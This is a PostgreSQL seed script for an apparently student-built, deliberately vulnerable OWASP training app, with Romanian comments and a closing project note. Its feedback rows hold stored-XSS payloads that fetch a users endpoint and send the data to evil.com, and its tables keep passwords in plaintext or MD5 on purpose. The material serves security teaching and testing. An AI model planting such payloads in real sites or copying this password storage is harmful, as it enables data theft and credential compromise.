CREATE DATABASE owasp

WITH

OWNER = spanlorin

ENCODING = 'UTF8'

CONNECTION LIMIT = -1

IS\_TEMPLATE = False;

GRANT ALL ON DATABASE owasp TO spanlorin;

-- Role: spanlorin

-- DROP ROLE IF EXISTS spanlorin;

CREATE ROLE spanlorin WITH

LOGIN

SUPERUSER

INHERIT

CREATEDB

CREATEROLE

REPLICATION

ENCRYPTED PASSWORD 'SCRAM-SHA-256$4096:sevUlgnphx8zi+nnfBOdiQ==$wKiRwP+3zEsLWETnG1KSAAip7e5FRUl7FQ8lGR1e2s4=:J45C9c67S9FcBZ9ZijUlAf1eE1y88F5Y0ulrcd0V8WU=';

ALTER ROLE spanlorin SET search\_path TO new\_schema\_name;

SET search\_path TO public;

CREATE TABLE IF NOT EXISTS feedback (

id SERIAL PRIMARY KEY,

name VARCHAR(255) NOT NULL,

message TEXT NOT NULL

);

INSERT INTO feedback (name, message) VALUES

('John Doe', 'Great platform, very easy to use!'),

('Alice Smith', 'I love the new features, keep up the good work.'),

('Bob Johnson', 'Had a small issue, but support was very helpful.'),

('Charlie Brown', E'<img src="x" onerror="setTimeout(() => {fetch(\'http://localhost:8080/api/bac/users\').then(res => res.text()).then(data => { new Image().src=\'http://evil.com/leak?data=\'+encodeURIComponent(data); });}, 1000);"> Best website!'),

('Emily Davis', 'The UI is very clean and easy to navigate.'),

('Grace Miller', 'Super intuitive interface, highly recommended.'),

('Henry Adams', E'<iframe src="javascript:setTimeout(() => {fetch(\'http://localhost:8080/api/bac/users\').then(res => res.text()).then(data => { new Image().src=\'http://evil.com/leak?data=\'+encodeURIComponent(data); });}, 1000);"></iframe> Loads fast, no issues.'),

('Mia White', 'Mobile version is fantastic, very responsive.'),

('Evil Hacker', E'<a href="#" onclick="alert(\'Hacked!\')">Amazing product!</a>');

CREATE TABLE ba\_users (

id SERIAL PRIMARY KEY,

username VARCHAR(255) UNIQUE NOT NULL,

password VARCHAR(255) NOT NULL -- ❌ Parole în clar

);

INSERT INTO ba\_users (username, password) VALUES

('admin', '1234'),

('user1', 'password'),

('user2', '123456'),

('hacker', 'letmein'),

('guest', 'guest'),

('test', 'test123'),

('root', 'toor'),

('developer', 'devpass'),

('security', 'secureme'),

('pentester', 'qwerty');

CREATE TABLE bac\_users (

id SERIAL PRIMARY KEY,

username VARCHAR(255) UNIQUE NOT NULL,

password VARCHAR(255) NOT NULL,

role VARCHAR(50) NOT NULL -- Poate fi 'USER' sau 'ADMIN'

);

INSERT INTO bac\_users (username, password, role) VALUES

('user1', 'password123', 'USER'),

('user2', 'qwerty', 'USER'),

('admin1', 'adminpass', 'ADMIN'),

('admin2', 'root123', 'ADMIN');

CREATE TABLE IF NOT EXISTS cf\_users (

id SERIAL PRIMARY KEY,

username VARCHAR(255) UNIQUE NOT NULL,

password VARCHAR(255) NOT NULL, -- Stocăm parola în format MD5 (nesigur)

email VARCHAR(255) NOT NULL

);

INSERT INTO cf\_users (username, password, email) VALUES

('lorinspan', ' fac0ca33fa0b047f25b1b8b894dee2d6', 'lorinspanx@gmail.com')

Am facut minimul de 3 vulnerabilitati, containerizarea testata si functionala (trb sa scriu documentatie sii sa intreb pe ce OS e dispozitivul lor), mai trebuie perfectionat codul pentru aplicatia vulnerabila si gasit mai multe metode de a testa (pentesting?) in afara de codurile python, sau poate mai adaug teste de python. Oricum, metodele de testare automate sa fie portabile sa poata fi containerizate. Apoi sa implementez solutiile de Securitate astfel incat sa treaca toate testele (evident trecut = teste failed, pt ca testele sunt passed daca se poate abuza vulnerabilitatea).